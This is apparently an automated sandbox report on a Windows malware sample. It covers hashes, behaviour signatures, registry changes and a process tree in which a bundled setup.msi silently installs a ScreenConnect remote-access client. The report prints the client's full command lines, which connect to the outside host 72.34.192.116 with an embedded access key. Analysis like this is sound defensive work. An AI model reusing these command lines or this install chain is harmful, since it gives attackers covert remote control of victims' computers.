Analysis
- max time kernel
149s - max time network
139s - platform
windows10-2004_x64 - resource
win10v2004-20260911-en - resource tags
arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
26/10/2026, 22:24
Static task
static1
2 signatures
Behavioral task
behavioral1
Sample
2026-10-25_7f9a0e718ec6e078fb05c619843b55e1_amadey_elex_glassworm_karagany_ransomhub_rhadamanthys_silence_smoke-loader_stop.exe
Resource
win10v2004-20260911-en
windows10-2004-x64
19 signatures
150 seconds
Behavioral task
behavioral2
Sample
2026-10-25_7f9a0e718ec6e078fb05c619843b55e1_amadey_elex_glassworm_karagany_ransomhub_rhadamanthys_silence_smoke-loader_stop.exe
Resource
win11ltsc2024-20260911-en
windows11-ltsc_2024-x64
18 signatures
150 seconds
General
- Target 2026-10-25_7f9a0e718ec6e078fb05c619843b55e1_amadey_elex_glassworm_karagany_ransomhub_rhadamanthys_silence_smoke-loader_stop.exe
- Size 2.9MB
- Sample261026-2bd4eagz2v
- SHA256 bb59e8a51d9a1d3a5a203ad498bf95e3aaec90a4abd0b6b6c45895f917200dae
- MD5 7f9a0e718ec6e078fb05c619843b55e1
- SHA1 127c2b029205b6d61af6c8914fb2f2f7686c558e
- SHA512 03e3fd39b3086bd13507ba8397beffe1016a003009f9495341405a6103f132899c500b1372481556753eec6c2d7568cc042815796d2277320ba6627e9fdf7e56
- SSDEEP 49152:hIPH2zT0+TL3Z0Wi6D2fxdxVBje3jMe2PmeSrN4Q1uGuh/Aq:h1MJ66TVe3gcgGa1
- TLSH T17AE5E011B3E44136D4EB0634E9B996219775BC0A5370D36F5BC87DAA6E337C08B223A7
- MD5 SHA1 SHA512 SSDEEP TLSH
Score
7/10
Malware Config
Signatures
- Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000\Control Panel\International\Geo\Nation 2026-10-25_7f9a0e718ec6e078fb05c619843b55e1_amadey_elex_glassworm_karagany_ransomhub_rhadamanthys_silence_smoke-loader_stop.exe Key value queried \REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000\Control Panel\International\Geo\Nation ScreenConnect.WindowsClient.exe - Executes dropped EXE 5 IoCs
pid Process 5720 ScreenConnect.WindowsClient.exe 1800 ScreenConnect.WindowsClient.exe 6012 ScreenConnect.ClientService.exe 3924 ScreenConnect.ClientService.exe 5940 ScreenConnect.WindowsClient.exe - Loads dropped DLL 32 IoCs
pid Process 3244 MsiExec.exe 1704 rundll32.exe 1704 rundll32.exe 1704 rundll32.exe 1704 rundll32.exe 1704 rundll32.exe 1704 rundll32.exe 1704 rundll32.exe 2640 MsiExec.exe 2640 MsiExec.exe 2640 MsiExec.exe 4536 MsiExec.exe 6012 ScreenConnect.ClientService.exe 6012 ScreenConnect.ClientService.exe 6012 ScreenConnect.ClientService.exe 6012 ScreenConnect.ClientService.exe 6012 ScreenConnect.ClientService.exe 6012 ScreenConnect.ClientService.exe 6012 ScreenConnect.ClientService.exe 6012 ScreenConnect.ClientService.exe 3924 ScreenConnect.ClientService.exe 3924 ScreenConnect.ClientService.exe 3924 ScreenConnect.ClientService.exe 3924 ScreenConnect.ClientService.exe 3924 ScreenConnect.ClientService.exe 3924 ScreenConnect.ClientService.exe 3924 ScreenConnect.ClientService.exe 3924 ScreenConnect.ClientService.exe 3924 ScreenConnect.ClientService.exe 3924 ScreenConnect.ClientService.exe 3924 ScreenConnect.ClientService.exe 3924 ScreenConnect.ClientService.exe - Enumerates connected drives 3 TTPs 46 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\T: msiexec.exe - Drops file in System32 directory 1 IoCs
description ioc Process File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\ScreenConnect.ClientService.exe.log ScreenConnect.ClientService.exe - Drops file in Program Files directory 12 IoCs
description ioc Process File created C:\Program Files (x86)\ScreenConnect Client (1ea8a1a72b1d7ccc)\ScreenConnect.Client.dll msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (1ea8a1a72b1d7ccc)\ScreenConnect.ClientService.dll msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (1ea8a1a72b1d7ccc)\ScreenConnect.Core.dll msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (1ea8a1a72b1d7ccc)\ScreenConnect.Windows.dll msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (1ea8a1a72b1d7ccc)\ScreenConnect.WindowsClient.exe msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (1ea8a1a72b1d7ccc)\ScreenConnect.ClientService.exe msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (1ea8a1a72b1d7ccc)\app.config msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (1ea8a1a72b1d7ccc)\Client.en-US.resources msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (1ea8a1a72b1d7ccc)\ScreenConnect.WindowsClient.exe.config msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (1ea8a1a72b1d7ccc)\Client.Override.en-US.resources msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (1ea8a1a72b1d7ccc)\Client.Override.resources msiexec.exe File created C:\Program Files (x86)\ScreenConnect Client (1ea8a1a72b1d7ccc)\Client.resources msiexec.exe - Drops file in Windows directory 14 IoCs
description ioc Process File opened for modification C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log msiexec.exe File created C:\Windows\Installer\inprogressinstallinfo.ipi msiexec.exe File created C:\Windows\Installer\SourceHash{55B1C5A9-772A-47E5-BD3D-1D20913FF427} msiexec.exe File opened for modification C:\Windows\Installer\MSID0E7.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSID212.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSID2DE.tmp msiexec.exe File opened for modification C:\Windows\Installer\ msiexec.exe File opened for modification C:\Windows\Installer\MSID0F8.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSID3AB.tmp msiexec.exe File created C:\Windows\Installer\e58cfd0.msi msiexec.exe File created C:\Windows\Installer\{55B1C5A9-772A-47E5-BD3D-1D20913FF427}\DefaultIcon msiexec.exe File opened for modification C:\Windows\Installer\{55B1C5A9-772A-47E5-BD3D-1D20913FF427}\DefaultIcon msiexec.exe File created C:\Windows\Installer\e58cfce.msi msiexec.exe File opened for modification C:\Windows\Installer\e58cfce.msi msiexec.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs
The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.
description ioc Process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain ScreenConnect.ClientService.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname ScreenConnect.ClientService.exe - System Location Discovery: System Language Discovery 1 TTPs 8 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MsiExec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language rundll32.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MsiExec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language ScreenConnect.ClientService.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 2026-10-25_7f9a0e718ec6e078fb05c619843b55e1_amadey_elex_glassworm_karagany_ransomhub_rhadamanthys_silence_smoke-loader_stop.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MsiExec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language ScreenConnect.ClientService.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language msiexec.exe - Checks SCSI registry key(s) 3 TTPs 5 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters vssvc.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr vssvc.exe Set value (data) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 000000000400000095d3837de88660fc0000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000c01200000000ffffffff00000000270101000008000095d3837d0000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d01200000000000020ed35000000ffffffff00000000070001000068090095d3837d000000000000d012000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0ff350000000000000005000000ffffffff000000000700010000f8ff1a95d3837d000000000000f0ff350000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0ff3a0000000000000005000000ffffffff000000000700010000f87f1d95d3837d000000000000f0ff3a00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 vssvc.exe Set value (data) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 vssvc.exe - Modifies data under HKEY_USERS 8 IoCs
description ioc Process Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" ScreenConnect.ClientService.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ ScreenConnect.ClientService.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" ScreenConnect.ClientService.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" ScreenConnect.ClientService.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" ScreenConnect.ClientService.exe Key deleted \REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\27\52C64B7E msiexec.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27 msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28 msiexec.exe - Modifies registry class 32 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\9A5C1B55A2775E74DBD3D10219F34F72\SourceList msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\9A5C1B55A2775E74DBD3D10219F34F72\Full msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\9A5C1B55A2775E74DBD3D10219F34F72\ProductName = "ScreenConnect Client (1ea8a1a72b1d7ccc)" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\9A5C1B55A2775E74DBD3D10219F34F72\ProductIcon = "C:\\Windows\\Installer\\{55B1C5A9-772A-47E5-BD3D-1D20913FF427}\\DefaultIcon" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\9A5C1B55A2775E74DBD3D10219F34F72\InstanceType = "0" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\9A5C1B55A2775E74DBD3D10219F34F72\DeploymentFlags = "3" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\9A5C1B55A2775E74DBD3D10219F34F72\SourceList\Net msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\9A5C1B55A2775E74DBD3D10219F34F72\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\9A5C1B55A2775E74DBD3D10219F34F72\SourceList\Media msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\sc-1ea8a1a72b1d7ccc\shell\open\command\ = "\"C:\\Program Files (x86)\\ScreenConnect Client (1ea8a1a72b1d7ccc)\\ScreenConnect.WindowsClient.exe\" \"%1\"" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\9A5C1B55A2775E74DBD3D10219F34F72\Version = "100741124" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\98684D5F482333B4E18A1A7AB2D1C7CC msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\9A5C1B55A2775E74DBD3D10219F34F72\SourceList\PackageName = "setup.msi" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\sc-1ea8a1a72b1d7ccc\URL Protocol msiexec.exe Key created \REGISTRY\MACHINE\Software\Classes\sc-1ea8a1a72b1d7ccc msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\sc-1ea8a1a72b1d7ccc\UseOriginalUrlEncoding = "1" msiexec.exe Key created \REGISTRY\MACHINE\Software\Classes\sc-1ea8a1a72b1d7ccc\shell\open\command msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\sc-1ea8a1a72b1d7ccc\shell msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\9A5C1B55A2775E74DBD3D10219F34F72 msiexec.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\9A5C1B55A2775E74DBD3D10219F34F72\Clients = 3a0000000000 msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\9A5C1B55A2775E74DBD3D10219F34F72 msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\9A5C1B55A2775E74DBD3D10219F34F72\Assignment = "1" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\9A5C1B55A2775E74DBD3D10219F34F72\AdvertiseFlags = "388" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\9A5C1B55A2775E74DBD3D10219F34F72\AuthorizedLUAApp = "0" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\9A5C1B55A2775E74DBD3D10219F34F72\Language = "1033" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\9A5C1B55A2775E74DBD3D10219F34F72\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\sc-1ea8a1a72b1d7ccc\shell\open msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\sc-1ea8a1a72b1d7ccc\shell\open\command msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\98684D5F482333B4E18A1A7AB2D1C7CC\9A5C1B55A2775E74DBD3D10219F34F72 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\9A5C1B55A2775E74DBD3D10219F34F72\SourceList\Media\1 = ";" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\sc-1ea8a1a72b1d7ccc msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\9A5C1B55A2775E74DBD3D10219F34F72\PackageCode = "374C7B9B05878DA4DBB059614004861C" msiexec.exe - Suspicious behavior: EnumeratesProcesses 4 IoCs
pid Process 3688 msiexec.exe 3688 msiexec.exe 3924 ScreenConnect.ClientService.exe 3924 ScreenConnect.ClientService.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 4552 2026-10-25_7f9a0e718ec6e078fb05c619843b55e1_amadey_elex_glassworm_karagany_ransomhub_rhadamanthys_silence_smoke-loader_stop.exe Token: SeShutdownPrivilege 804 msiexec.exe Token: SeIncreaseQuotaPrivilege 804 msiexec.exe Token: SeSecurityPrivilege 3688 msiexec.exe Token: SeCreateTokenPrivilege 804 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 804 msiexec.exe Token: SeLockMemoryPrivilege 804 msiexec.exe Token: SeIncreaseQuotaPrivilege 804 msiexec.exe Token: SeMachineAccountPrivilege 804 msiexec.exe Token: SeTcbPrivilege 804 msiexec.exe Token: SeSecurityPrivilege 804 msiexec.exe Token: SeTakeOwnershipPrivilege 804 msiexec.exe Token: SeLoadDriverPrivilege 804 msiexec.exe Token: SeSystemProfilePrivilege 804 msiexec.exe Token: SeSystemtimePrivilege 804 msiexec.exe Token: SeProfSingleProcessPrivilege 804 msiexec.exe Token: SeIncBasePriorityPrivilege 804 msiexec.exe Token: SeCreatePagefilePrivilege 804 msiexec.exe Token: SeCreatePermanentPrivilege 804 msiexec.exe Token: SeBackupPrivilege 804 msiexec.exe Token: SeRestorePrivilege 804 msiexec.exe Token: SeShutdownPrivilege 804 msiexec.exe Token: SeDebugPrivilege 804 msiexec.exe Token: SeAuditPrivilege 804 msiexec.exe Token: SeSystemEnvironmentPrivilege 804 msiexec.exe Token: SeChangeNotifyPrivilege 804 msiexec.exe Token: SeRemoteShutdownPrivilege 804 msiexec.exe Token: SeUndockPrivilege 804 msiexec.exe Token: SeSyncAgentPrivilege 804 msiexec.exe Token: SeEnableDelegationPrivilege 804 msiexec.exe Token: SeManageVolumePrivilege 804 msiexec.exe Token: SeImpersonatePrivilege 804 msiexec.exe Token: SeCreateGlobalPrivilege 804 msiexec.exe Token: SeCreateTokenPrivilege 804 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 804 msiexec.exe Token: SeLockMemoryPrivilege 804 msiexec.exe Token: SeIncreaseQuotaPrivilege 804 msiexec.exe Token: SeMachineAccountPrivilege 804 msiexec.exe Token: SeTcbPrivilege 804 msiexec.exe Token: SeSecurityPrivilege 804 msiexec.exe Token: SeTakeOwnershipPrivilege 804 msiexec.exe Token: SeLoadDriverPrivilege 804 msiexec.exe Token: SeSystemProfilePrivilege 804 msiexec.exe Token: SeSystemtimePrivilege 804 msiexec.exe Token: SeProfSingleProcessPrivilege 804 msiexec.exe Token: SeIncBasePriorityPrivilege 804 msiexec.exe Token: SeCreatePagefilePrivilege 804 msiexec.exe Token: SeCreatePermanentPrivilege 804 msiexec.exe Token: SeBackupPrivilege 804 msiexec.exe Token: SeRestorePrivilege 804 msiexec.exe Token: SeShutdownPrivilege 804 msiexec.exe Token: SeDebugPrivilege 804 msiexec.exe Token: SeAuditPrivilege 804 msiexec.exe Token: SeSystemEnvironmentPrivilege 804 msiexec.exe Token: SeChangeNotifyPrivilege 804 msiexec.exe Token: SeRemoteShutdownPrivilege 804 msiexec.exe Token: SeUndockPrivilege 804 msiexec.exe Token: SeSyncAgentPrivilege 804 msiexec.exe Token: SeEnableDelegationPrivilege 804 msiexec.exe Token: SeManageVolumePrivilege 804 msiexec.exe Token: SeImpersonatePrivilege 804 msiexec.exe Token: SeCreateGlobalPrivilege 804 msiexec.exe Token: SeCreateTokenPrivilege 804 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 804 msiexec.exe - Suspicious use of FindShellTrayWindow 6 IoCs
pid Process 804 msiexec.exe 804 msiexec.exe 5940 ScreenConnect.WindowsClient.exe 5940 ScreenConnect.WindowsClient.exe 5940 ScreenConnect.WindowsClient.exe 5940 ScreenConnect.WindowsClient.exe - Suspicious use of SendNotifyMessage 4 IoCs
pid Process 5940 ScreenConnect.WindowsClient.exe 5940 ScreenConnect.WindowsClient.exe 5940 ScreenConnect.WindowsClient.exe 5940 ScreenConnect.WindowsClient.exe - Suspicious use of WriteProcessMemory 10 IoCs
description pid Process procid_target PID 4552 wrote to memory of 804 4552 2026-10-25_7f9a0e718ec6e078fb05c619843b55e1_amadey_elex_glassworm_karagany_ransomhub_rhadamanthys_silence_smoke-loader_stop.exe 86 PID 3688 wrote to memory of 3244 3688 msiexec.exe 89 PID 3244 wrote to memory of 1704 3244 MsiExec.exe 90 PID 3688 wrote to memory of 1080 3688 msiexec.exe 103 PID 3688 wrote to memory of 2640 3688 msiexec.exe 105 PID 3688 wrote to memory of 4536 3688 msiexec.exe 106 PID 3688 wrote to memory of 5720 3688 msiexec.exe 107 PID 5720 wrote to memory of 1800 5720 ScreenConnect.WindowsClient.exe 108 PID 1800 wrote to memory of 6012 1800 ScreenConnect.WindowsClient.exe 109 PID 3924 wrote to memory of 5940 3924 ScreenConnect.ClientService.exe 111 - Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Users\Admin\AppData\Local\Temp\2026-10-25_7f9a0e718ec6e078fb05c619843b55e1_amadey_elex_glassworm_karagany_ransomhub_rhadamanthys_silence_smoke-loader_stop.exe"C:\Users\Admin\AppData\Local\Temp\2026-10-25_7f9a0e718ec6e078fb05c619843b55e1_amadey_elex_glassworm_karagany_ransomhub_rhadamanthys_silence_smoke-loader_stop.exe"1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4552 -
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\setup.msi"2⤵
- Enumerates connected drives
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:804
-
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Enumerates connected drives
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3688 -
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 055DEDA433415EECB422F4314C96604F C2⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3244 -
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI92B6.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240685890 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments3⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:1704
-
-
-
C:\Windows\system32\srtasks.exeC:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:22⤵PID:1080
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding A2ED059990A01EEB6F1B8B3B8E1A86212⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:2640
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding BCBA7125EA5BF750729730F4EE8C473B E Global\MSI00002⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:4536
-
-
C:\Program Files (x86)\ScreenConnect Client (1ea8a1a72b1d7ccc)\ScreenConnect.WindowsClient.exe"C:\Program Files (x86)\ScreenConnect Client (1ea8a1a72b1d7ccc)\ScreenConnect.WindowsClient.exe" "Rerun" "?y=Guest&h=72.34.192.116&p=443&s=5fc9f411-117c-4572-9cfa-ffe2193b5592&k=BgIAAACkAABSU0ExAAgAAAEAAQCh1LMiuZHCWnoEx3zyp3Q%2byMRNKMy%2fMpzE9hLaq%2blSh8q7Cw94%2bmDA8WwI9IKcrDN%2fr%2fdqU4Ags59GS6RCaPyPn936rAfCOTI9CXP064yOvcf9fQavPetNfif5r3GNznXF5F6XRQCupJxyWz%2fMsOsZQJfJgNsBDFv0HM%2bMG5eYVtahSY92VO2%2b9MSOp6qjtsU%2fHq2iKY8hD97qUnPeEpCfSiEkTldk8SlSxJteanmDl5EisI8yju0UfbKiQIijr%2b20%2f3QRo%2bQPvCX%2fecRVq2P7Ztn1a9jGMQx2DkOn2rtVaWbahETu5i0Dld0CV5F%2b3xPKO2k8MhYZiZZROEa5BHCa&r=&i=6168p"2⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:5720 -
C:\Program Files (x86)\ScreenConnect Client (1ea8a1a72b1d7ccc)\ScreenConnect.WindowsClient.exe"C:\Program Files (x86)\ScreenConnect Client (1ea8a1a72b1d7ccc)\ScreenConnect.WindowsClient.exe" "?y=Guest&h=72.34.192.116&p=443&s=5fc9f411-117c-4572-9cfa-ffe2193b5592&k=BgIAAACkAABSU0ExAAgAAAEAAQCh1LMiuZHCWnoEx3zyp3Q%2byMRNKMy%2fMpzE9hLaq%2blSh8q7Cw94%2bmDA8WwI9IKcrDN%2fr%2fdqU4Ags59GS6RCaPyPn936rAfCOTI9CXP064yOvcf9fQavPetNfif5r3GNznXF5F6XRQCupJxyWz%2fMsOsZQJfJgNsBDFv0HM%2bMG5eYVtahSY92VO2%2b9MSOp6qjtsU%2fHq2iKY8hD97qUnPeEpCfSiEkTldk8SlSxJteanmDl5EisI8yju0UfbKiQIijr%2b20%2f3QRo%2bQPvCX%2fecRVq2P7Ztn1a9jGMQx2DkOn2rtVaWbahETu5i0Dld0CV5F%2b3xPKO2k8MhYZiZZROEa5BHCa&r=&i=6168p"3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1800 -
C:\Program Files (x86)\ScreenConnect Client (1ea8a1a72b1d7ccc)\ScreenConnect.ClientService.exe"C:\Program Files (x86)\ScreenConnect Client (1ea8a1a72b1d7ccc)\ScreenConnect.ClientService.exe" "?y=Guest&h=72.34.192.116&p=443&s=5fc9f411-117c-4572-9cfa-ffe2193b5592&k=BgIAAACkAABSU0ExAAgAAAEAAQCh1LMiuZHCWnoEx3zyp3Q%2byMRNKMy%2fMpzE9hLaq%2blSh8q7Cw94%2bmDA8WwI9IKcrDN%2fr%2fdqU4Ags59GS6RCaPyPn936rAfCOTI9CXP064yOvcf9fQavPetNfif5r3GNznXF5F6XRQCupJxyWz%2fMsOsZQJfJgNsBDFv0HM%2bMG5eYVtahSY92VO2%2b9MSOp6qjtsU%2fHq2iKY8hD97qUnPeEpCfSiEkTldk8SlSxJteanmDl5EisI8yju0UfbKiQIijr%2b20%2f3QRo%2bQPvCX%2fecRVq2P7Ztn1a9jGMQx2DkOn2rtVaWbahETu5i0Dld0CV5F%2b3xPKO2k8MhYZiZZROEa5BHCa&r=&i=6168p" "1"4⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:6012
-
-
-
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Checks SCSI registry key(s)
PID:5676
-
